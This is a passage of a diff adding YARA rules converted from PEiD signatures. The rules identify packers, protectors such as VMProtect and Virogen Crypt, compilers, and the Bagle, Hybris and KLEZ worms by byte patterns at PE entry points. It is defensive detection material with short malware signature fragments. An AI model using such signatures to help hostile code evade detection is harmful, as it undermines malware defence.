+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02492_Vcasm_Protector_1_0e____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0e -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02493_Vcasm_Protector_1_1___1_2____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.1 - 1.2 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02494_vfp_exeNc_V5_00____Wang_JianGuo_
+{
+    meta:
+        description = "[vfp&exeNc V5.00 -> Wang JianGuo]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02495_vfp_exeNc_v6_00____Wang_JianGuo_
+{
+    meta:
+        description = "[vfp&exeNc v6.00 -> Wang JianGuo]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02496_Video_CD_file_
+{
+    meta:
+        description = "[Video-CD file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 58 41 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_02497_Video_Lan_Client_____UnknownCompiler__
+{
+    meta:
+        description = "[Video-Lan-Client -> (UnknownCompiler)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02498_Video_Lan_Client_
+{
+    meta:
+        description = "[Video-Lan-Client]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02499_Virogen_Crypt_v0_75_
+{
+    meta:
+        description = "[Virogen Crypt v0.75]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02500_Virogen_s_PE_Shrinker_v0_14_
+{
+    meta:
+        description = "[Virogen`s PE Shrinker v0.14]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02501_VIRUS___I_Worm_Bagle_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Bagle]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_02502_VIRUS___I_Worm_Bagle_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Bagle]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00 00 E8 B1 00 00 00 EB F4 CC FF 25 A4 40 40 00 FF 25 B8 40 40 00 FF 25 B4 40 40 00 FF 25 B0 40 40 00 FF 25 AC 40 40 00 FF 25 9C 40 40 00 FF 25 A0 40 40 00 FF 25 A8 40 40 00 FF 25 24 40 40 00 FF 25 28 40 40 00 FF 25 2C 40 40 00 FF 25 30 40 40 00 FF 25 34 40 40 00 FF 25 38 40 40 00 FF 25 3C 40 40 00 FF 25 40 40 40 00 FF 25 44 40 40 00 FF 25 48 40 40 00 FF 25 4C 40 40 00 FF 25 50 40 40 00 FF 25 54 40 40 00 FF 25 58 40 40 00 FF 25 5C 40 40 00 FF 25 60 40 40 00 FF 25 BC 40 40 00 FF 25 64 40 40 00 FF 25 68 40 40}
+    condition:
+        $a
+}
+
+rule PEiD_02503_VIRUS___I_Worm_Hybris_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Hybris]"
+        ep_only = "false"
+    strings:
+        $a = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_02504_VIRUS___I_Worm_KLEZ_
+{
+    meta:
+        description = "[VIRUS - I-Worm.KLEZ]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+    condition:
+        $a
+}
+
+rule PEiD_02505_VisualUPX_0_2____emadicius_
+{
+    meta:
+        description = "[VisualUPX 0.2 -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {66 C7 05 ?? ?? ?? 00 75 07 E9 ?? FE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02506_VMProtect_0_7x___0_8____PolyTech_
+{
+    meta:
+        description = "[VMProtect 0.7x - 0.8 -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02507_VMProtect_0_x____PolyTech_
+{
+    meta:
+        description = "[VMProtect 0.x -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {5B 20 56 4D 50 72 6F 74 65 63 74 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02508_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02509_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02510_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02511_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02512_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02513_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02514_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02515_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02516_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02517_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02518_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02519_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02520_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02521_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02522_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02523_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02524_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02525_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02526_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02527_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02528_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02529_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02530_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02531_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02532_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02533_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02534_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02535_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02536_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02537_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02538_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02539_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02540_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02541_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02542_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02543_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02544_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02545_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02546_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02547_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02548_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02549_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02550_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02551_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02552_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02553_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02554_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02555_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02556_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02557_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02558_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02559_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02560_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02561_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02562_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02563_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02564_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02565_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02566_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02567_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02568_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02569_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02570_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02571_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02572_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
